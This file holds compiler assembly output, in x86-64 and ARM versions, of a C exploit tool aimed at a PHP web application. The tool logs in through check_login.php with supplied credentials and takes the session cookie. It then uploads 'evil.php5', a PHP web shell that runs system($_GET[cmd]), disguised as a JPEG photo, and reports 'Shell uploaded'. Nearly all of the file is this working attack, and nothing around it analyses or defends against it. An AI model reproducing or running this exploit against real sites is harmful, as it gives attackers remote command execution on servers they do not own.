	.file	"extr_14176.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"host"
.LC2:
	.string	"port"
.LC3:
	.string	"path"
.LC4:
	.string	"username"
.LC5:
	.string	"password"
.LC6:
	.string	"u:p:"
.LC7:
	.string	"\n[*] Connecting...\n"
.LC8:
	.string	"[-] Connection failed!\n\n"
.LC9:
	.string	"[+] Connected\n[*] Login..."
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC10:
	.string	"POST %scheck_login.php HTTP/1.1\r\nHost: %s\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\n\r\nemail=%s&password=%s"
	.section	.rodata.str1.1
.LC11:
	.string	"[-] Sending failed!\n\n"
.LC12:
	.string	"[-] Receive failed!\n\n"
.LC13:
	.string	"Password is invalid"
.LC14:
	.string	"\n[-] Login Incorrect!\n\n"
.LC15:
	.string	"PHPSESSID"
.LC16:
	.string	"\n[-] Session error!\n\n"
.LC17:
	.string	";"
	.section	.rodata.str1.8
	.align 8
.LC18:
	.string	"\n[+] Login Successful\n[*] Uploading...\n"
	.align 8
.LC19:
	.string	"POST %spopups/photos.php HTTP/1.1\r\nHost: %s\r\nCookie: %s\r\nContent-type: multipart/form-data, boundary=AaB03x\r\nContent-Length: %d\r\n\r\n%s"
	.section	.rodata.str1.1
.LC20:
	.string	"evil.php5"
.LC21:
	.string	"\n[-] Upload failed!\n\n"
	.section	.rodata.str1.8
	.align 8
.LC22:
	.string	"[+] Shell uploaded\n[+] Connection closed\n\n"
	.align 8
.LC0:
	.ascii	"--AaB03x\r\nContent-Disposition: form-data; name=\"photo\"; "
	.ascii	"filename=\"evil.php5\"\r\nContent-Type: image/jpeg\r\n\r\n<?"
	.ascii	"php echo \"<pre>\"; system($_GET[cmd]); echo \"</pre>\"?>\r\n"
	.ascii	"--AaB03x\r"
	.string	"\nContent-Disposition: form-data; name=\"Call\"\r\n\r\nadd\r\n--AaB03x\r\nContent-Disposition: form-data; name=\"photoType\"\r\n\r\nP\r\n--AaB03x\r\nContent-Disposition: form-data; name=\"image.x\"\r\n\r\n8\r\n--AaB03x\r\nContent-Disposition: form-data; name=\"image.y\"\r\n\r\n5\r\n--AaB03x--\r\n"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r15
	.cfi_def_cfa_offset 16
	.cfi_offset 15, -16
	mov	ecx, 53
	push	r14
	.cfi_def_cfa_offset 24
	.cfi_offset 14, -24
	push	r13
	.cfi_def_cfa_offset 32
	.cfi_offset 13, -32
	push	r12
	.cfi_def_cfa_offset 40
	.cfi_offset 12, -40
	push	rbp
	.cfi_def_cfa_offset 48
	.cfi_offset 6, -48
	mov	rbp, rsi
	lea	rsi, .LC0[rip]
	push	rbx
	.cfi_def_cfa_offset 56
	.cfi_offset 3, -56
	mov	ebx, edi
	sub	rsp, 664
	.cfi_def_cfa_offset 720
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 648[rsp], rax
	xor	eax, eax
	lea	rdi, 208[rsp]
	mov	QWORD PTR 56[rsp], 0
	mov	QWORD PTR 40[rsp], rdi
	rep movsq
	mov	QWORD PTR 72[rsp], 1
	mov	DWORD PTR 80[rsp], 1
	mov	QWORD PTR 96[rsp], 1
	mov	DWORD PTR 104[rsp], 2
	mov	QWORD PTR 120[rsp], 1
	mov	DWORD PTR 128[rsp], 3
	mov	QWORD PTR 144[rsp], 1
	mov	eax, DWORD PTR [rsi]
	mov	DWORD PTR 152[rsp], 117
	mov	DWORD PTR [rdi], eax
	movzx	eax, BYTE PTR .LC0[rip+428]
	mov	QWORD PTR 168[rsp], 1
	mov	BYTE PTR 4[rdi], al
	lea	rax, .LC1[rip]
	mov	QWORD PTR 64[rsp], rax
	lea	rax, .LC2[rip]
	mov	QWORD PTR 88[rsp], rax
	lea	rax, .LC3[rip]
	mov	QWORD PTR 112[rsp], rax
	lea	rax, .LC4[rip]
	mov	QWORD PTR 136[rsp], rax
	lea	rax, .LC5[rip]
	mov	QWORD PTR 160[rsp], rax
	mov	DWORD PTR 176[rsp], 112
	mov	QWORD PTR 184[rsp], 0
	mov	QWORD PTR 192[rsp], 0
	mov	DWORD PTR 200[rsp], 0
	cmp	ebx, 1
	jle	.L13
	mov	DWORD PTR 12[rsp], 80
	xor	r15d, r15d
	lea	r14, 52[rsp]
	lea	r13, 64[rsp]
	mov	QWORD PTR 32[rsp], 0
	lea	r12, .LC6[rip]
	mov	QWORD PTR 24[rsp], 0
	mov	QWORD PTR 16[rsp], 0
.L2:
	mov	r8, r14
	mov	rcx, r13
	mov	rdx, r12
	mov	rsi, rbp
	mov	edi, ebx
	call	getopt_long@PLT
	test	eax, eax
	jle	.L35
	cmp	eax, 3
	je	.L4
	jg	.L5
	cmp	eax, 1
	je	.L6
	cmp	eax, 2
	jne	.L13
	mov	rdi, QWORD PTR optarg[rip]
	call	atoi@PLT
	mov	DWORD PTR 12[rsp], eax
	jmp	.L2
	.p2align 4,,10
	.p2align 3
.L5:
	cmp	eax, 112
	je	.L9
	cmp	eax, 117
	jne	.L13
	mov	rax, QWORD PTR optarg[rip]
	mov	QWORD PTR 24[rsp], rax
	jmp	.L2
.L13:
	mov	rdi, QWORD PTR 0[rbp]
	call	usage@PLT
	mov	eax, -1
.L1:
	mov	rdx, QWORD PTR 648[rsp]
	xor	rdx, QWORD PTR fs:40
	jne	.L36
	add	rsp, 664
	.cfi_remember_state
	.cfi_def_cfa_offset 56
	pop	rbx
	.cfi_def_cfa_offset 48
	pop	rbp
	.cfi_def_cfa_offset 40
	pop	r12
	.cfi_def_cfa_offset 32
	pop	r13
	.cfi_def_cfa_offset 24
	pop	r14
	.cfi_def_cfa_offset 16
	pop	r15
	.cfi_def_cfa_offset 8
	ret
	.p2align 4,,10
	.p2align 3
.L4:
	.cfi_restore_state
	mov	rax, QWORD PTR optarg[rip]
	mov	QWORD PTR 16[rsp], rax
	jmp	.L2
	.p2align 4,,10
	.p2align 3
.L6:
	mov	r15, QWORD PTR optarg[rip]
	jmp	.L2
	.p2align 4,,10
	.p2align 3
.L9:
	mov	rax, QWORD PTR optarg[rip]
	mov	QWORD PTR 32[rsp], rax
	jmp	.L2
.L35:
	test	r15, r15
	je	.L13
	cmp	QWORD PTR 16[rsp], 0
	je	.L13
	cmp	QWORD PTR 24[rsp], 0
	sete	dl
	cmp	QWORD PTR 32[rsp], 0
	sete	al
	or	dl, al
	jne	.L13
	cmp	DWORD PTR 12[rsp], 0
	js	.L13
	lea	rdi, .LC7[rip]
	call	printf@PLT
	mov	esi, DWORD PTR 12[rsp]
	mov	rdi, r15
	call	socket_connect@PLT
	mov	ebp, eax
	test	eax, eax
	js	.L30
	lea	rdi, .LC9[rip]
	lea	r12, 56[rsp]
	call	printf@PLT
	mov	r13, QWORD PTR 24[rsp]
	mov	rdi, r13
	call	strlen@PLT
	mov	r14, QWORD PTR 32[rsp]
	mov	ebx, eax
	mov	rdi, r14
	call	strlen@PLT
	mov	r9, r13
	mov	rcx, r15
	mov	rdi, r12
	push	rsi
	.cfi_def_cfa_offset 728
	lea	r8d, 16[rbx+rax]
	lea	rsi, .LC10[rip]
	xor	eax, eax
	push	r14
	.cfi_def_cfa_offset 736
	mov	rdx, QWORD PTR 32[rsp]
	call	vspr@PLT
	mov	rsi, QWORD PTR 72[rsp]
	mov	edi, ebp
	xor	ecx, ecx
	mov	edx, eax
	call	send@PLT
	pop	rdi
	.cfi_def_cfa_offset 728
	pop	r8
	.cfi_def_cfa_offset 720
	test	rax, rax
	js	.L32
	xor	esi, esi
	mov	edi, ebp
	call	socket_receive@PLT
	mov	r13, rax
	test	rax, rax
	je	.L33
	mov	rdi, rax
	lea	rsi, .LC13[rip]
	call	strstr@PLT
	lea	rdi, .LC14[rip]
	test	rax, rax
	jne	.L29
	mov	rdi, r13
	lea	rsi, .LC15[rip]
	call	strstr@PLT
	mov	rdi, rax
	test	rax, rax
	je	.L31
	lea	rsi, .LC17[rip]
	call	strtok@PLT
	mov	rbx, rax
	test	rax, rax
	je	.L31
	lea	rdi, .LC18[rip]
	call	printf@PLT
	mov	edi, ebp
	call	close@PLT
	mov	esi, DWORD PTR 12[rsp]
	mov	rdi, r15
	call	socket_connect@PLT
	mov	ebp, eax
	test	eax, eax
	js	.L30
	mov	rdi, QWORD PTR 56[rsp]
	call	free@PLT
	mov	r14, QWORD PTR 40[rsp]
	mov	rdi, r14
	call	strlen@PLT
	mov	r8, rbx
	mov	rcx, r15
	mov	rdi, r12
	mov	r9d, eax
	push	rax
	.cfi_def_cfa_offset 728
	lea	rsi, .LC19[rip]
	xor	eax, eax
	push	r14
	.cfi_def_cfa_offset 736
	mov	rdx, QWORD PTR 32[rsp]
	call	vspr@PLT
	mov	rsi, QWORD PTR 72[rsp]
	xor	ecx, ecx
	mov	edi, ebp
	mov	edx, eax
	call	send@PLT
	pop	rdx
	.cfi_def_cfa_offset 728
	pop	rcx
	.cfi_def_cfa_offset 720
	test	rax, rax
	js	.L32
	mov	edi, ebp
	mov	esi, 3
	call	socket_receive@PLT
	mov	rdi, rax
	test	rax, rax
	je	.L33
	lea	rsi, .LC20[rip]
	call	strstr@PLT
	test	rax, rax
	je	.L37
	mov	rdi, QWORD PTR 56[rsp]
	call	free@PLT
	mov	edi, ebp
	call	close@PLT
	lea	rdi, .LC22[rip]
	call	printf@PLT
	xor	eax, eax
	jmp	.L1
.L37:
	lea	rdi, .LC21[rip]
.L29:
	call	printf@PLT
	mov	rdi, QWORD PTR 56[rsp]
	call	free@PLT
	mov	edi, ebp
	call	close@PLT
	or	eax, -1
	jmp	.L1
.L30:
	lea	rdi, .LC8[rip]
	call	printf@PLT
	mov	rdi, QWORD PTR 56[rsp]
	call	free@PLT
	or	eax, -1
	jmp	.L1
.L32:
	lea	rdi, .LC11[rip]
	jmp	.L29
.L31:
	lea	rdi, .LC16[rip]
	jmp	.L29
.L33:
	lea	rdi, .LC12[rip]
	jmp	.L29
.L36:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	optarg,8,8
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_14176.c_main.c"
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"host\000"
	.align	2
.LC1:
	.ascii	"port\000"
	.align	2
.LC2:
	.ascii	"path\000"
	.align	2
.LC3:
	.ascii	"username\000"
	.align	2
.LC4:
	.ascii	"password\000"
	.text
	.section	.rodata.str1.4
	.align	2
.LC8:
	.ascii	"u:p:\000"
	.align	2
.LC9:
	.ascii	"\012[*] Connecting...\012\000"
	.align	2
.LC10:
	.ascii	"[-] Connection failed!\012\012\000"
	.align	2
.LC11:
	.ascii	"[+] Connected\012[*] Login...\000"
	.align	2
.LC12:
	.ascii	"POST %scheck_login.php HTTP/1.1\015\012Host: %s\015"
	.ascii	"\012Content-Type: application/x-www-form-urlencoded"
	.ascii	"\015\012Content-Length: %d\015\012\015\012email=%s&"
	.ascii	"password=%s\000"
	.align	2
.LC13:
	.ascii	"[-] Sending failed!\012\012\000"
	.align	2
.LC14:
	.ascii	"[-] Receive failed!\012\012\000"
	.align	2
.LC15:
	.ascii	"Password is invalid\000"
	.align	2
.LC16:
	.ascii	"\012[-] Login Incorrect!\012\012\000"
	.align	2
.LC17:
	.ascii	"PHPSESSID\000"
	.align	2
.LC18:
	.ascii	"\012[-] Session error!\012\012\000"
	.align	2
.LC19:
	.ascii	";\000"
	.align	2
.LC20:
	.ascii	"\012[+] Login Successful\012[*] Uploading...\012\000"
	.align	2
.LC21:
	.ascii	"POST %spopups/photos.php HTTP/1.1\015\012Host: %s\015"
	.ascii	"\012Cookie: %s\015\012Content-type: multipart/form-"
	.ascii	"data, boundary=AaB03x\015\012Content-Length: %d\015"
	.ascii	"\012\015\012%s\000"
	.align	2
.LC22:
	.ascii	"evil.php5\000"
	.align	2
.LC23:
	.ascii	"\012[-] Upload failed!\012\012\000"
	.align	2
.LC24:
	.ascii	"[+] Shell uploaded\012[+] Connection closed\012\012"
	.ascii	"\000"
	.align	2
.LC6:
	.ascii	"--AaB03x\015\012Content-Disposition: form-data; nam"
	.ascii	"e=\"photo\"; filename=\"evil.php5\"\015\012Content-"
	.ascii	"Type: image/jpeg\015\012\015\012<?php echo \"<pre>\""
	.ascii	"; system($_GET[cmd]); echo \"</pre>\"?>\015\012--Aa"
	.ascii	"B03x\015\012Content-Disposition: form-data; name=\""
	.ascii	"Call\"\015\012\015\012add\015\012--AaB03x\015\012Co"
	.ascii	"ntent-Disposition: form-data; name=\"photoType\"\015"
	.ascii	"\012\015\012P\015\012--AaB03x\015\012Content-Dispos"
	.ascii	"ition: form-data; name=\"image.x\"\015\012\015\0128"
	.ascii	"\015\012--AaB03x\015\012Content-Disposition: form-d"
	.ascii	"ata; name=\"image.y\"\015\012\015\0125\015\012--AaB"
	.ascii	"03x--\015\012\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC25:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 552
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	mov	r5, #0
	mov	r4, r0
	sub	sp, sp, #572
	ldr	r3, .L36
	ldr	r2, .L36+4
	mov	r6, r1
	add	r0, sp, #132
	ldr	r1, .L36+8
	ldr	r3, [r3]
	str	r3, [sp, #564]
	mov	r3,#0
	str	r5, [sp, #32]
	bl	memcpy
	mov	r2, #96
	ldr	r1, .L36+12
	add	r0, sp, #36
	bl	memcpy
	cmp	r4, #1
	ble	.L13
	mov	r3, #80
	mov	fp, r5
	mov	r10, r5
	ldr	r8, .L36+16
	ldr	r9, .L36+20
	str	r3, [sp, #16]
	str	r5, [sp, #20]
	add	r7, sp, #28
.L2:
	mov	r2, r8
	mov	r1, r6
	mov	r0, r4
	str	r7, [sp]
	add	r3, sp, #36
	bl	getopt_long
	cmp	r0, #0
	ble	.L33
	cmp	r0, #3
	beq	.L4
	bgt	.L5
	cmp	r0, #1
	beq	.L6
	cmp	r0, #2
	bne	.L13
	ldr	r0, [r9]
	bl	atoi
	str	r0, [sp, #16]
	b	.L2
.L5:
	cmp	r0, #112
	beq	.L9
	cmp	r0, #117
	ldreq	r3, [r9]
	streq	r3, [sp, #20]
	beq	.L2
.L13:
	ldr	r0, [r6]
	bl	usage
	mvn	r0, #0
.L1:
	ldr	r3, .L36
	ldr	r2, [r3]
	ldr	r3, [sp, #564]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L34
	add	sp, sp, #572
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L4:
	ldr	fp, [r9]
	b	.L2
.L6:
	ldr	r10, [r9]
	b	.L2
.L9:
	ldr	r5, [r9]
	b	.L2
.L33:
	cmp	fp, #0
	cmpne	r10, #0
	beq	.L13
	clz	r4, r5
	ldr	r3, [sp, #20]
	lsr	r4, r4, #5
	cmp	r3, #0
	moveq	r4, #1
	ldr	r3, [sp, #16]
	orrs	r4, r4, r3, lsr #31
	bne	.L13
	ldr	r0, .L36+24
	bl	printf
	mov	r0, r10
	ldr	r1, [sp, #16]
	bl	socket_connect
	subs	r7, r0, #0
	blt	.L29
	ldr	r0, .L36+28
	bl	printf
	ldr	r8, [sp, #20]
	mov	r0, r8
	bl	strlen
	mov	r6, r0
	mov	r0, r5
	bl	strlen
	add	r6, r6, r0
	add	r6, r6, #16
	mov	r3, r10
	mov	r2, fp
	ldr	r1, .L36+32
	str	r6, [sp]
	str	r5, [sp, #8]
	str	r8, [sp, #4]
	add	r0, sp, #32
	bl	vspr
	mov	r3, r4
	mov	r2, r0
	ldr	r1, [sp, #32]
	mov	r0, r7
	bl	send
	cmp	r0, #0
	ldrlt	r0, .L36+36
	blt	.L31
	mov	r1, r4
	mov	r0, r7
	bl	socket_receive
	subs	r4, r0, #0
	ldreq	r0, .L36+40
	beq	.L31
	ldr	r1, .L36+44
	bl	strstr
	cmp	r0, #0
	ldrne	r0, .L36+48
	bne	.L31
	mov	r0, r4
	ldr	r1, .L36+52
	bl	strstr
	cmp	r0, #0
	beq	.L30
	ldr	r1, .L36+56
	bl	strtok
	subs	r5, r0, #0
	beq	.L30
	ldr	r0, .L36+60
	bl	printf
	mov	r0, r7
	bl	close
	mov	r0, r10
	ldr	r1, [sp, #16]
	bl	socket_connect
	subs	r4, r0, #0
	blt	.L29
	ldr	r0, [sp, #32]
	bl	free
	add	r0, sp, #132
	bl	strlen
	add	r3, sp, #132
	stmib	sp, {r0, r3}
	mov	r2, fp
	mov	r3, r10
	ldr	r1, .L36+64
	str	r5, [sp]
	add	r0, sp, #32
	bl	vspr
	mov	r3, #0
	mov	r2, r0
	ldr	r1, [sp, #32]
	mov	r0, r4
	bl	send
	cmp	r0, #0
	ldrlt	r0, .L36+36
	blt	.L28
	mov	r1, #3
	mov	r0, r4
	bl	socket_receive
	cmp	r0, #0
	ldreq	r0, .L36+40
	beq	.L28
	ldr	r1, .L36+68
	bl	strstr
	cmp	r0, #0
	beq	.L35
	ldr	r0, [sp, #32]
	bl	free
	mov	r0, r4
	bl	close
	ldr	r0, .L36+72
	bl	printf
	mov	r0, #0
	b	.L1
.L30:
	ldr	r0, .L36+76
.L31:
	bl	printf
	ldr	r0, [sp, #32]
	bl	free
	mov	r0, r7
	bl	close
	mvn	r0, #0
	b	.L1
.L29:
	ldr	r0, .L36+80
	bl	printf
	ldr	r0, [sp, #32]
	bl	free
	mvn	r0, #0
	b	.L1
.L35:
	ldr	r0, .L36+84
.L28:
	bl	printf
	ldr	r0, [sp, #32]
	bl	free
	mov	r0, r4
	bl	close
	mvn	r0, #0
	b	.L1
.L34:
	bl	__stack_chk_fail
.L37:
	.align	2
.L36:
	.word	.LC25
	.word	429
	.word	.LC6
	.word	.LANCHOR0
	.word	.LC8
	.word	optarg
	.word	.LC9
	.word	.LC11
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC19
	.word	.LC20
	.word	.LC21
	.word	.LC22
	.word	.LC24
	.word	.LC18
	.word	.LC10
	.word	.LC23
	.size	main, .-main
	.comm	optarg,4,4
	.section	.rodata
	.align	2
	.set	.LANCHOR0,. + 0
.LC7:
	.word	.LC0
	.word	1
	.word	0
	.word	1
	.word	.LC1
	.word	1
	.word	0
	.word	2
	.word	.LC2
	.word	1
	.word	0
	.word	3
	.word	.LC3
	.word	1
	.word	0
	.word	117
	.word	.LC4
	.word	1
	.word	0
	.word	112
	.word	0
	.word	0
	.word	0
	.word	0
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
